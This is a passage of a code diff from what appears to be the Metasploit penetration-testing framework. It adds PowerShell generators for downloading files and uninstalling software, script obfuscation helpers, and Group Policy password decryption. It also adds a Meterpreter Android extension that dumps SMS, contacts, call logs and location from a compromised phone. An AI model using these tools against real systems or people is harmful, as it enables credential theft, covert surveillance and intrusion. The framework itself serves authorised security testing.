# @param delete [Boolean] delete the function from the code
|
||||||
|
#
|
||||||
|
# @return [String] function block
|
||||||
|
def get_func(func_name, delete = false)
|
||||||
|
start = code.index(func_name)
|
||||||
|
|
||||||
|
return nil unless start
|
||||||
|
|
||||||
|
idx = code[start..-1].index('{') + start
|
||||||
|
func_txt = block_extract(idx)
|
||||||
|
|
||||||
|
if delete
|
||||||
|
delete_code = code[0..idx]
|
||||||
|
delete_code << code[(idx + func_txt.length)..-1]
|
||||||
|
@code = delete_code
|
||||||
|
end
|
||||||
|
|
||||||
|
Function.new(func_name, func_txt)
|
||||||
|
end
|
||||||
|
end # Parser
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
70
lib/rex/exploitation/powershell/psh_methods.rb
Normal file
70
lib/rex/exploitation/powershell/psh_methods.rb
Normal file
@ -0,0 +1,70 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Exploitation
|
||||||
|
module Powershell
|
||||||
|
##
|
||||||
|
# Convenience methods for generating powershell code in Ruby
|
||||||
|
##
|
||||||
|
|
||||||
|
module PshMethods
|
||||||
|
#
|
||||||
|
# Download file via .NET WebClient
|
||||||
|
#
|
||||||
|
# @param src [String] URL to the file
|
||||||
|
# @param target [String] Location to save the file
|
||||||
|
#
|
||||||
|
# @return [String] Powershell code to download a file
|
||||||
|
def self.download(src, target)
|
||||||
|
target ||= '$pwd\\' << src.split('/').last
|
||||||
|
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Uninstall app, or anything named like app
|
||||||
|
#
|
||||||
|
# @param app [String] Name of application
|
||||||
|
# @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
|
||||||
|
# the application name
|
||||||
|
#
|
||||||
|
# @return [String] Powershell code to uninstall an application
|
||||||
|
def self.uninstall(app, fuzzy = true)
|
||||||
|
match = fuzzy ? '-like' : '-eq'
|
||||||
|
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Create secure string from plaintext
|
||||||
|
#
|
||||||
|
# @param str [String] String to create as a SecureString
|
||||||
|
#
|
||||||
|
# @return [String] Powershell code to create a SecureString
|
||||||
|
def self.secure_string(str)
|
||||||
|
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Find PID of file lock owner
|
||||||
|
#
|
||||||
|
# @param filename [String] Filename
|
||||||
|
#
|
||||||
|
# @return [String] Powershell code to identify the PID of a file
|
||||||
|
# lock owner
|
||||||
|
def self.who_locked_file(filename)
|
||||||
|
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return last time of login
|
||||||
|
#
|
||||||
|
# @param user [String] Username
|
||||||
|
#
|
||||||
|
# @return [String] Powershell code to return the last time of a user
|
||||||
|
# login
|
||||||
|
def self.get_last_login(user)
|
||||||
|
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
99
lib/rex/exploitation/powershell/script.rb
Normal file
99
lib/rex/exploitation/powershell/script.rb
Normal file
@ -0,0 +1,99 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex'
|
||||||
|
require 'forwardable'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Exploitation
|
||||||
|
module Powershell
|
||||||
|
class Script
|
||||||
|
attr_accessor :code
|
||||||
|
attr_reader :functions, :rig
|
||||||
|
|
||||||
|
include Output
|
||||||
|
include Parser
|
||||||
|
include Obfu
|
||||||
|
# Pretend we are actually a string
|
||||||
|
extend ::Forwardable
|
||||||
|
# In case someone messes with String we delegate based on its instance methods
|
||||||
|
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
|
||||||
|
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
|
||||||
|
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
|
||||||
|
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
|
||||||
|
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
|
||||||
|
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
|
||||||
|
:!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
|
||||||
|
:delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
|
||||||
|
:hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
|
||||||
|
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
|
||||||
|
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
|
||||||
|
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
|
||||||
|
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
|
||||||
|
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
|
||||||
|
:end_with?
|
||||||
|
|
||||||
|
def initialize(code)
|
||||||
|
@code = ''
|
||||||
|
@rig = Rex::RandomIdentifierGenerator.new
|
||||||
|
|
||||||
|
begin
|
||||||
|
# Open code file for reading
|
||||||
|
fd = ::File.new(code, 'rb')
|
||||||
|
while (line = fd.gets)
|
||||||
|
@code << line
|
||||||
|
end
|
||||||
|
|
||||||
|
# Close open file
|
||||||
|
fd.close
|
||||||
|
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
||||||
|
# Treat code as a... code
|
||||||
|
@code = code.to_s.dup # in case we're eating another script
|
||||||
|
end
|
||||||
|
@functions = get_func_names.map { |f| get_func(f) }
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Class methods
|
||||||
|
##
|
||||||
|
|
||||||
|
#
|
||||||
|
# Convert binary to byte array, read from file if able
|
||||||
|
#
|
||||||
|
# @param input_data [String] Path to powershell file or powershell
|
||||||
|
# code string
|
||||||
|
# @param var_name [String] Byte array variable name
|
||||||
|
#
|
||||||
|
# @return [String] input_data as a powershell byte array
|
||||||
|
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
|
||||||
|
# File will raise an exception if the path contains null byte
|
||||||
|
if input_data.include? "\x00"
|
||||||
|
code = input_data
|
||||||
|
else
|
||||||
|
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
||||||
|
end
|
||||||
|
|
||||||
|
code = code.unpack('C*')
|
||||||
|
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||||
|
lines = []
|
||||||
|
1.upto(code.length - 1) do |byte|
|
||||||
|
if (byte % 10 == 0)
|
||||||
|
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||||
|
else
|
||||||
|
lines.push ",0x#{code[byte].to_s(16)}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
psh << lines.join('') + "\r\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return list of code modifier methods
|
||||||
|
#
|
||||||
|
# @return [Array] Code modifiers
|
||||||
|
def self.code_modifiers
|
||||||
|
instance_methods.select { |m| m =~ /^(strip|sub)/ }
|
||||||
|
end
|
||||||
|
end # class Script
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'rex/text'
|
require 'rex/text'
|
||||||
require 'rexml/document'
|
require 'rexml/document'
|
||||||
|
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Oui
|
module Oui
|
||||||
|
@ -129,14 +129,40 @@ class GPP
|
|||||||
# Decrypts passwords using Microsoft's published key:
|
# Decrypts passwords using Microsoft's published key:
|
||||||
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
|
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
|
||||||
def self.decrypt(encrypted_data)
|
def self.decrypt(encrypted_data)
|
||||||
unless encrypted_data
|
password = ""
|
||||||
return ""
|
return password unless encrypted_data
|
||||||
end
|
|
||||||
|
|
||||||
password = ""
|
password = ""
|
||||||
padding = "=" * (4 - (encrypted_data.length % 4))
|
retries = 0
|
||||||
epassword = "#{encrypted_data}#{padding}"
|
original_data = encrypted_data.dup
|
||||||
decoded = Rex::Text.decode_base64(epassword)
|
|
||||||
|
begin
|
||||||
|
mod = encrypted_data.length % 4
|
||||||
|
|
||||||
|
# PowerSploit code strips the last character, unsure why...
|
||||||
|
case mod
|
||||||
|
when 1
|
||||||
|
encrypted_data = encrypted_data[0..-2]
|
||||||
|
when 2, 3
|
||||||
|
padding = '=' * (4 - mod)
|
||||||
|
encrypted_data = "#{encrypted_data}#{padding}"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Strict base64 decoding used here
|
||||||
|
decoded = encrypted_data.unpack('m0').first
|
||||||
|
rescue ::ArgumentError => e
|
||||||
|
# Appears to be some junk UTF-8 Padding appended at times in
|
||||||
|
# Win2k8 (not in Win2k8R2)
|
||||||
|
# Lets try stripping junk and see if we can decrypt
|
||||||
|
if retries < 8
|
||||||
|
retries += 1
|
||||||
|
original_data = original_data[0..-2]
|
||||||
|
encrypted_data = original_data
|
||||||
|
retry
|
||||||
|
else
|
||||||
|
return password
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
||||||
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require "rex/parser/nokogiri_doc_mixin"
|
require "rex/parser/nokogiri_doc_mixin"
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
|
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
|
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
|
|
||||||
|
128
lib/rex/post/meterpreter/extensions/android/android.rb
Normal file
128
lib/rex/post/meterpreter/extensions/android/android.rb
Normal file
@ -0,0 +1,128 @@
|
|||||||
|
#!/usr/bin/env ruby
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/post/meterpreter/extensions/android/tlv'
|
||||||
|
require 'rex/post/meterpreter/packet'
|
||||||
|
require 'rex/post/meterpreter/client'
|
||||||
|
require 'rex/post/meterpreter/channels/pools/stream_pool'
|
||||||
|
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Android
|
||||||
|
|
||||||
|
###
|
||||||
|
# Android extension - set of commands to be executed on android devices.
|
||||||
|
# extension by Anwar Mohamed (@anwarelmakrahy)
|
||||||
|
###
|
||||||
|
|
||||||
|
|
||||||
|
class Android < Extension
|
||||||
|
|
||||||
|
def initialize(client)
|
||||||
|
super(client, 'android')
|
||||||
|
|
||||||
|
# Alias the following things on the client object so that they
|
||||||
|
# can be directly referenced
|
||||||
|
client.register_extension_aliases(
|
||||||
|
[
|
||||||
|
{
|
||||||
|
'name' => 'android',
|
||||||
|
'ext' => self
|
||||||
|
},
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def device_shutdown(n)
|
||||||
|
request = Packet.create_request('device_shutdown')
|
||||||
|
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
|
||||||
|
response = client.send_request(request)
|
||||||
|
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
|
||||||
|
end
|
||||||
|
|
||||||
|
def dump_sms
|
||||||
|
sms = Array.new
|
||||||
|
request = Packet.create_request('dump_sms')
|
||||||
|
response = client.send_request(request)
|
||||||
|
|
||||||
|
response.each( TLV_TYPE_SMS_GROUP ) { |p|
|
||||||
|
|
||||||
|
sms <<
|
||||||
|
{
|
||||||
|
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
|
||||||
|
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
|
||||||
|
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
|
||||||
|
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
|
||||||
|
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return sms
|
||||||
|
end
|
||||||
|
|
||||||
|
def dump_contacts
|
||||||
|
contacts = Array.new
|
||||||
|
request = Packet.create_request('dump_contacts')
|
||||||
|
response = client.send_request(request)
|
||||||
|
|
||||||
|
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
|
||||||
|
|
||||||
|
contacts <<
|
||||||
|
{
|
||||||
|
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
|
||||||
|
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
|
||||||
|
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return contacts
|
||||||
|
end
|
||||||
|
|
||||||
|
def geolocate
|
||||||
|
|
||||||
|
loc = Array.new
|
||||||
|
request = Packet.create_request('geolocate')
|
||||||
|
response = client.send_request(request)
|
||||||
|
|
||||||
|
loc <<
|
||||||
|
{
|
||||||
|
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
|
||||||
|
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
|
||||||
|
}
|
||||||
|
|
||||||
|
return loc
|
||||||
|
end
|
||||||
|
|
||||||
|
def dump_calllog
|
||||||
|
log = Array.new
|
||||||
|
request = Packet.create_request('dump_calllog')
|
||||||
|
response = client.send_request(request)
|
||||||
|
|
||||||
|
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
|
||||||
|
|
||||||
|
log <<
|
||||||
|
{
|
||||||
|
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
|
||||||
|
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
|
||||||
|
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
|
||||||
|
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
|
||||||
|
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return log
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_root
|
||||||
|
request = Packet.create_request('check_root')
|
||||||
|
response = client.send_request(request)
|
||||||
|
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user